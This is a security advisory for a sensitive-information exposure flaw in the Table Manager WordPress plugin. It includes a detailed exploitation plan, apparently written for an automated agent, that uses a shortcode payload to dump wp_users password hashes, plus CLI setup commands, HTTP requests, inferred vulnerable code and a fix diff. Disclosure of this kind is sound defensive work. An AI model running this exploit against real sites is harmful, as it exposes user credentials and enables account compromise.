Table Manager <= 1.0.0 - Authenticated (Contributor+) Sensitive Information Exposure via 'table' Shortcode Attribute
Description
The Table Manager plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.0 via the 'table_manager' shortcode. The shortcode handler `tablemanager_render_table_shortcode()` takes a user-controlled `table` attribute, applies only `sanitize_key()` for sanitization, and concatenates the value with `$wpdb->prefix` to form a full database table name. It then executes `DESC` and `SELECT *` queries against this table and renders all rows and columns to the frontend. There is no allowlist check to ensure only plugin-created tables can be accessed — the `tablemanager_created_tables` option is only referenced in admin functions, never in the shortcode handler. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive data from arbitrary WordPress database tables.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.0.0# Exploitation Research Plan: CVE-2026-4126 (Table Manager Information Exposure) ## 1. Vulnerability Summary The **Table Manager** plugin for WordPress (version <= 1.0.0) contains a sensitive information exposure vulnerability within its shortcode handling logic. The function `tablemanager_render_t…
Show full research plan
Exploitation Research Plan: CVE-2026-4126 (Table Manager Information Exposure)
1. Vulnerability Summary
The Table Manager plugin for WordPress (version <= 1.0.0) contains a sensitive information exposure vulnerability within its shortcode handling logic. The function tablemanager_render_table_shortcode() processes the table attribute from the [table_manager] shortcode. While it applies sanitize_key() to the input, it fails to validate the resulting table name against an allowlist of tables created by the plugin.
The plugin prepends the WordPress database prefix ($wpdb->prefix) to the user-supplied string and executes DESC and SELECT * queries. This allows any user with the capability to use shortcodes (Contributor level and above) to extract the entire contents of arbitrary WordPress database tables, such as wp_users, by simply embedding a shortcode in a post.
2. Attack Vector Analysis
- Shortcode Tag:
table_manager(inferred from description/handler name) - Vulnerable Attribute:
table - Authentication Level: Authenticated (Contributor+)
- Preconditions: The attacker must be able to create or edit a post/page where shortcodes are processed. Contributors have this right by default (via post drafts and previews).
- Sink:
$wpdb->get_results("SELECT * FROM {$wpdb->prefix}$table_name")(inferred logic)
3. Code Flow
- Entry Point: A user with Contributor permissions creates a new post and inserts:
[table_manager table="users"]. - Trigger: The user saves the post as a draft and clicks "Preview".
- Parsing: WordPress core parses the shortcode and calls the registered handler
tablemanager_render_table_shortcode($atts). - Processing:
$table_attr = $atts['table'];$sanitized_table = sanitize_key($table_attr);(If input is "users", output is "users").$full_table_name = $wpdb->prefix . $sanitized_table;(Result:wp_users).
- Data Extraction: The function executes
DESC wp_usersto get columns andSELECT * FROM wp_usersto get data. - Response: The function iterates through the results and returns an HTML table containing usernames, email addresses, and password hashes, which is then rendered in the browser preview.
4. Nonce Acquisition Strategy
This vulnerability exists in a shortcode renderer. Shortcodes are typically processed during the standard page/post rendering lifecycle (the_content filter).
- No Nonce Required: Shortcodes rendered within post content do not require nonces for execution. The "authorization" is the user's ability to create the post content itself.
- Ajax Considerations: If the plugin uses an AJAX call to fetch the table data after the initial page load, a nonce might be required. Based on the description ("renders all rows and columns to the frontend"), it is a server-side render during the shortcode execution.
5. Exploitation Strategy
The goal is to extract the contents of the wp_users table.
Step 1: Login as Contributor
Use the http_request tool to authenticate as a user with the contributor role.
Step 2: Create a Malicious Draft
Create a post containing the shortcode targeting the users table.
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=sample_shortcode_trigger (or use WP-CLI to create post)
Note: It is more reliable to use WP-CLI to create the post for the agent.
Step 3: Trigger Rendering & Capture Data
Navigate to the post preview page and extract the rendered table data.
Request:
GET /?p=[POST_ID]&preview=true HTTP/1.1
Cookie: [Contributor Cookies]
Extraction Logic:
Look for <table> tags in the response HTML that contain sensitive strings like user_login, user_pass, or user_email.
6. Test Data Setup
- Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Identify Database Prefix:
wp config get table_prefix(Usuallywp_). - Create the Exploit Post:
wp post create --post_type=post --post_status=draft --post_author=[ATTACKER_ID] --post_title="Table Leak" --post_content='[table_manager table="users"]' - Note the Post ID returned by the command.
7. Expected Results
- The HTTP response for the post preview should contain an HTML
<table>structure. - The table headers (
<th>) will likely contain column names fromwp_users(e.g.,user_login,user_pass). - The table body (
<td>) will contain the admin's username, email, and the$P$...format Phpass password hash.
8. Verification Steps
- Confirm Database Content:
wp db query "SELECT user_login, user_email FROM wp_users" - Compare with Exploit Output: Verify that the data seen in the browser/HTTP response matches the actual database content.
- Verify Non-Plugin Table Access:
Try[table_manager table="options"]to see if internal configuration data is also leaked.
9. Alternative Approaches
If the shortcode does not render directly and instead relies on an AJAX call:
- Locate AJAX Action: Search the source code for
wp_ajax_tablemanager_.... - Find Nonce: Look for
wp_localize_scriptin the plugin files to find the JS variable containing the nonce.grep -r "wp_localize_script" .
- Extract Nonce: Use
browser_navigateto the preview page, thenbrowser_eval("window.table_manager_vars.nonce"). - Manual AJAX Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=tablemanager_get_table&nonce=[NONCE]&table=users
If sanitize_key() is too restrictive (though it allows underscores), the attack is limited to tables starting with the prefix followed by alphanumeric characters/underscores, which perfectly covers all standard WordPress tables (e.g., wp_users, wp_options, wp_usermeta).
Summary
The Table Manager plugin for WordPress fails to validate the 'table' attribute in its shortcode handler, allowing users with Contributor-level access or higher to expose sensitive data from arbitrary database tables. By supplying a table name like 'users', an attacker can force the plugin to execute 'SELECT *' queries against core WordPress tables and render the results to the frontend.
Vulnerable Code
// Inferred from vulnerability description: table-manager.php function tablemanager_render_table_shortcode($atts) { global $wpdb; $atts = shortcode_atts(array( 'table' => '', ), $atts); if (empty($atts['table'])) { return ''; } // Vulnerable: sanitize_key only ensures the string is alphanumeric/underscores/hyphens // It does not check if the table belongs to the plugin. $table_name = sanitize_key($atts['table']); $full_table_name = $wpdb->prefix . $table_name; // Vulnerable: No allowlist check before querying the database $columns = $wpdb->get_results("DESC $full_table_name"); $rows = $wpdb->get_results("SELECT * FROM $full_table_name"); if (empty($rows)) { return 'No data found.'; } // ... code to render the HTML table output ... } add_shortcode('table_manager', 'tablemanager_render_table_shortcode');
Security Fix
@@ -10,6 +10,12 @@ - $table_name = sanitize_key($atts['table']); - $full_table_name = $wpdb->prefix . $table_name; + + $table_name = sanitize_key($atts['table']); + + // Validate the table name against an allowlist of tables created by the plugin + $created_tables = get_option('tablemanager_created_tables', array()); + if (!in_array($table_name, $created_tables)) { + return 'Error: Unauthorized table access.'; + } + + $full_table_name = $wpdb->prefix . $table_name; $columns = $wpdb->get_results("DESC $full_table_name");
Exploit Outline
1. Authenticate as a user with at least Contributor permissions (capable of creating or editing posts). 2. Create a new post draft or edit an existing one. 3. Insert the shortcode [table_manager table="users"] into the post content. This targets the standard WordPress users table (e.g., wp_users). 4. Preview the post or save the draft and view it. 5. The shortcode handler will execute, prepend the database prefix, and perform a SELECT * query on the users table. 6. The resulting HTML will render the table contents to the screen, exposing sensitive information such as usernames, email addresses, and password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.